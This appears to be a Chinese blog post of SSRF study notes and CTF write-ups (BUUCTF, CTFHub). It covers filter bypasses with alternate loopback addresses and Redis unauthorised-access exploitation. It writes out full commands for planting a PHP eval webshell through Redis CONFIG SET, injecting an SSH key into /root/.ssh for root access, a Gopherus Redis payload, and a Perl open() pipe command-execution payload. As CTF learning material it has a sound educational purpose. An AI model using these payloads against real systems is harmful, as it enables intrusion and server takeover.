当前位置: 首页 > article >正文

ssrf漏洞利用+CTF实例

引发ssrf漏洞的几个函数

  • file_get_contents() 把整个文件读入一个字符串中,获取本地或者远程文件内容
  • fsockopen() 获得套接字信息
  • curl_exec() 执行一个curl会话,由curl_init()初始化一个新的会话,返回一个curl句柄
  • fopen() 打开文件或者URL
  • readfile() 输出一个文件,读入一个文件并写入到输出缓冲

ssrf用到的协议

  • file协议:获取敏感文件信息——file:///etc/passwd
  • dict协议:探测内网主机以及端口开放情况——ditc://ip:port/命令
  • gopher协议:在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务

常见绕过

1.@符号绕过

http://127.0.0.0.1==http://www.baidu.com@127.0.0.1

2.点分割符号替换(可以使用。来代替.)

http://127。0。0。1

3.本地回环地址的其他表现形式

127.0.0.1,通常被称为本地回环地址,一些其他的表示方法如下:

http://127.0.0.1

http://localhost

http://127.255.255.254 ## 从127.0.0.2-127.255.255.254都可以

http://[::1]

http://[::ffff:7f00:1] 

http://[::ffff:127.0.0.1]

http://127.1

http://127.0.1

http://0:80

4.IP进制转换

点分十进制:127.0.0.1:

八进制:0177.0.0.1

十六进制:0x7f.0.0.1

Redis基础知识

关键词:非关系型数据库,默认端口号是6379,key-value存储系统

## redis的编译安装
wget http://download.redis.io/releases/redis-6.0.8.tar.gz
tar -xzf redis-6.0.8.tar.gz
cd redis-6.0.8
make
cd src
./redis-server # 启动redis
./redis-server ../redis.conf& # 指定配置文件后台运行
./redis-cli -h IP # 运行客户端,可以指定IP远程登录

## 基础语法,在客户端下运行以下命令
select [dbnum] # 换数据库,每个数据库对外都是从0开始的递增数字命名
keys * # 查看所有键
ping # 测试服务是否运行,如果返回PONG则在运行
set name "zhansan" # 设置键值对,这是字符串型,还有hash类型,列表list,集合set,有序集合sorted set
get name # 查看指定键的值
del name # 删除键
quit # 退出
save/bgsave # 持久化操作,会保存在dir/dbfilename

flushdb # 删除当前数据库中数据
flushall # 删除所有数据库中数据

info # 查看redis基本信息

Redis未授权访问漏洞

影响版本

数据库版本在4.x/5.x以下

漏洞产生条件

redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源IP访问等相关安全策略,直接暴露在公网;没有设置密码认证(一般为空),可以免密码远程登录redis服务。

利用姿势

1.无口令远程登录redist

2.利用redis的持久化写webshell

3.利用持久化利用公私钥认证获取root权限

4.利用主从复制,利用攻击软件获得shell

### 漏洞利用前提条件
## 修改配置文件redis.conf
vi redis.conf 
# 注释掉bind 127.0.0.1,添加bind 0.0.0.0
# 关闭保护模式,否则外部IP无法连接:protected-mode no
## 开启6379端口
firewall-cmd --list-ports # 查看防火墙端口
firewall-cmd --zone=public --add-port=6379/tcp --permanent
firewall-cmd --reload # 重新加载防火墙

### 利用姿势2
./redis-cli -h 靶机IP
config set dir /var/www/html # 要有服务器apache/nginx,并打开80端口
config set dbfilename test.php
set webshell "\r\n\r\n<?php @eval($_POST[1]); ?>\r\n\r\n" # 需要知道网站路径,还要有文件读写权限
save

### 利用姿势3
ssh-keygen -t rsa # 在攻击机中生成ssh公钥和私钥,密码设置为空
cd /root/.ssh # 同时确保靶机也有.ssh文件夹
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt # 将生成的公钥保存到1.txt
cat 1.txt|redis路径/redis-cli -h 靶机IP -x set crack # 连接靶机上的redis服务,将1.txt写入redis,crack为键,1.txt为值
./redis-cli -h 靶机IP # 然后利用持久化把公钥写入靶机中
config set dir /root/.ssh
config set dbfilename authorized-keys
save
ssh -i id_rsa root@靶机IP # 在攻击机上使用ssh免密登录靶机,利用私钥成功登入redis服务器,获得root权限成功

CTF实例

BUUCTF-网鼎杯2020玄武组SSRFMe(主从复制)

1.这题的考点是ssrf漏洞+redis主从复制。题目打开直接给了源码,进行代码审计。

        a.接收get参数url,不为空则进行函数处理。

        b.check_inner_ip函数判断是否为合法内网IP,并使用http或gopher等协议。

        c.safe_request_url函数先用上一个函数判断,返回false会开启curl会话,输入值。

2.在safe_request_url中用到了curl_exec函数,怀疑有ssrf漏洞,同时还有提示:让我们本地访问hint.php。因此我们要绕过check_inner_ip函数。

payload1:
/?url=http://0.0.0.0./hint.php
或:
/?url=http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

    其中0.0.0.0代表本机中所有IPv4地址,监听0.0.0.0的端口就是监听本机中所有IP的端口,后面的第二个payload中的地址是IPv4映射的IPv6地址,此类型地址用于将IPv4节点表示为IPv6地址,它允许IPv6应用程序直接与IPv4应用程序通信。

    IPv4地址是32位,IPv6地址是128位。IPv4映射地址以 0:0:0:0:0:ffff表示前96位(16*6),原IPv4地址转换位十六进制填充后32位(也可以不转换为十六进制)。

3.用上述payload访问hint.php得到redis密码为root,接下来要用redis主从复制,利用目录为/tmp。思路如下:

 创建一个恶意的redis服务器作为redis主机(master),该redis主机能够回应其他连接它的redis从机的响应。有了恶意的redis主机之后,就会远程连接靶机中的redis服务器,通过slaveof命令将目标redis服务器设置为从机(slave)。然后将主机上的exp同步到从机上,并将dbfilename设置为exp.so。最后再控制从机加载模块执行系统命令即可。

但是到加载模块那里试了好久一直报错,无法执行系统命令,用vps也不行(先放在这,哪天解决了再更新)

https://www.cnblogs.com/karsa/p/14123995.html

很经典的一道CTF-WriteUP[网鼎杯 2020 玄武组]SSRFMe - FreeBuf网络安全行业门户

CTFHub-技能树-ssrf-redis协议(写webshell)

gopher协议:

在www出现之前,gopher是Internet上最主要的信息检索工具,gopher站点也是最主要的站点。Gopher协议没有默认端口所以要指定,因此有了下面的基本格式

最基本的格式:

gopher://<IP>:<port>/_ 后接TCP数据流

Gopher可以发送POST数据也可以发送GET数据。

  • Gopher回车换行是%0d%0a,所以不使用工具总是要自己用脚本把%0a改成%0d%0a。
  • POST参数之间的&分隔符也需要URL编码。
  • 同时Gopher还可以对FTP、Telnet、Redis、Memcache、mysql进行攻击

1.可以利用gopherus工具生成payload

git clone https://github.com/tarunkant/Gopherus
cd Gopherus
chmod +x install.sh
./install.sh # 可以直接用gopherus命令
gopherus --exploit redis

flushall

set 1 '<?php @eval($_POST[1]);?>'

config set dir /var/www/html

config set dbfilename shell.php

save

 2.当出现上面这个页面,可以用file://协议查看一下。然后就可以蚁剑连接

?url=file:///var/www/html/shell.php

BUUCTF-HITCON2017-SSRFMe(Perl语言中GET命令执行) 

1.题目打开给了源码,进行代码审计。

        a.输出当前页面用户的ip

        b.构建md5(orange+ip)的目录,并将它作为当前目录

        c.执行GET拼接shell命令,根据filename的dirname再创建并更换当前目录

        d.将GET命令执行结构写入filename的basename文件中

2.具体做法如下:

payload1:将GET /命令的结果写入test文件中
?url=/&filename=test 

如果GET后面跟路径的话,可以直接获取文件或目录内容,即GET / == ls /,GET /root/flag == cat /root/flag

然后访问/sandbox/md5(orange+ip)/test可以看到:根目录下有flag和readflag文件,

 还想用上面payload读flag,发现不可读取,而readflag是elf执行文件。所以明显的是要执行readflag文件去读取flag。

3.想要执行readflag文件,要利用Perl语言中GET命令执行漏洞。

    在perl语言中,open函数存在命令执行漏洞:如果open文件名中存在管道符|,就会将文件名直接以命令的形式执行,然后将命令的结果存到与命令同名的文件中。

    在本题中调用了GET函数,GET使用file协议的时候就会调用到perl的open函数

payload2:
?url=&filename=|/readflag

一开始文件夹下是空的:

后面在执行了payload2后,会多出一个"|/"文件夹,下面就是readflag

所以是为了凑出管道符,而且要执行的命令先前必须要有以命令为文件名的文件存在

 3.执行payload3,由于有管道符|,所以将/readflag直接以命令的形式执行。最后访问对应路径得到flag。

payload3:
?url=file:|/readflag&filename=test

BUUCTF-De1CTF2019-SSRF Me

 1.题目一打开给了python源码,进行代码审计。需要沉下心来慢慢看。

        a.有三个路由,/、/De1ta、/geneSign。在根目录下显示code.txt即源码的文件,在/geneSign下需要传入param参数,输出getSign函数的返回值(getSign返回secert_key+param+action的md5值),显然这两个路由不能得到flag

        b.在/De1ta路由下,有f.read(),应该可以读取flag.txt。想要得到flag需要满足:

        ①需要传入get参数action,cookie参数param和sign。

        ②action要同时包含read和scan。因为如果action里包含scan,会调用scan方法(对param进行url请求),并将scan的返回值写入result.txt;如果action里包含read,会读取result.txt并写入result变量中。

        ③param要有flag.txt(不能包含gopher和file)。因为上面action可以对param进行url请求,读取其中的内容。

        ④sign要等于getSign(action,param)。而想要知道具体md5值,可以通过/geneSign路由,因为它也有调用getSign,而且会返回md5值。现在在/De1ta路由,action=readscan,param=flag.txt,所以会返回secert_key+flag.txtreadscan;但是在/geneSign路由下,action是固定的,为scan,所以这里param不能为flag.txt,要为flag.txtread,才会返回secert_key+flag.txtreadscan。

2.根据上面的代码审计,先访问/geneSign路由,得到对应的MD5值,再访问/De1ta路由,填入对应的参数,即可得到flag。

其他解法:

De1CTF ssrf_me 的三种解法 - 先知社区 (aliyun.com)

哈希拓展攻击

Python 2.x - 2.7.16 urllib.fopen支持local_file导致LFI(CVE-2019-9948)

BUUCTF-[第三章web进阶]python里的ssrf

1.题目提示:尝试访问到容器内部的8000端口和url path /api/internal/secret即可获取flag。题目打开显示url parameter is required,需要传入url参数,只能get传入,post传入会报错。

2.当传入?url=http://127.0.0.1,显示127.0.0.1is forbidden。localhost也不行,因此需要绕过127.0.0.1,试了一下:以下的可以得到flag。

?url=http://127.127.127.127:8000/api/internal/secret
?url=http://127.0.0.2:8000/api/internal/secret ## 从127.0.0.2-127.255.255.254都可以
?url=http://0.0.0.0:8000/api/internal/secret
?url=http://0:8000/api/internal/secret


http://www.kler.cn/a/301009.html

相关文章:

  • C 语言之snprintf函数
  • torchvision数据集使用
  • C#匿名方法
  • Brave编译指南2024 Windows篇:安装depot_tools(三)
  • spark任务优化参数整理
  • 谷歌个人开发者账号申请流程
  • 笔记整理—内核!启动!—kernel部分(2)从汇编阶段到start_kernel与内核进程
  • MyBatis-Plus插入优化:降低IO操作的策略与实践
  • vue3 内置组件<Teleport>
  • 需求分析概述
  • HP Z2 G3 Mini,有点游戏主机异型那味儿了
  • c++高级编程第2版pdf
  • Go开源日志库Logrus的使用
  • netty和websocket的区别
  • 重拾精髓:go doc -http让离线包文档浏览更便捷
  • Unity射击游戏开发教程:(35)轰炸敌人
  • 解决Metasploit调用Nessus报错问题
  • 基于Springboot美食推荐小程序的设计与实现(源码+数据库+文档)
  • 【Kubernetes】常见面试题汇总(九)
  • 基于JavaWeb开发的Java+jquery+SpringMVC校园网站平台设计和实现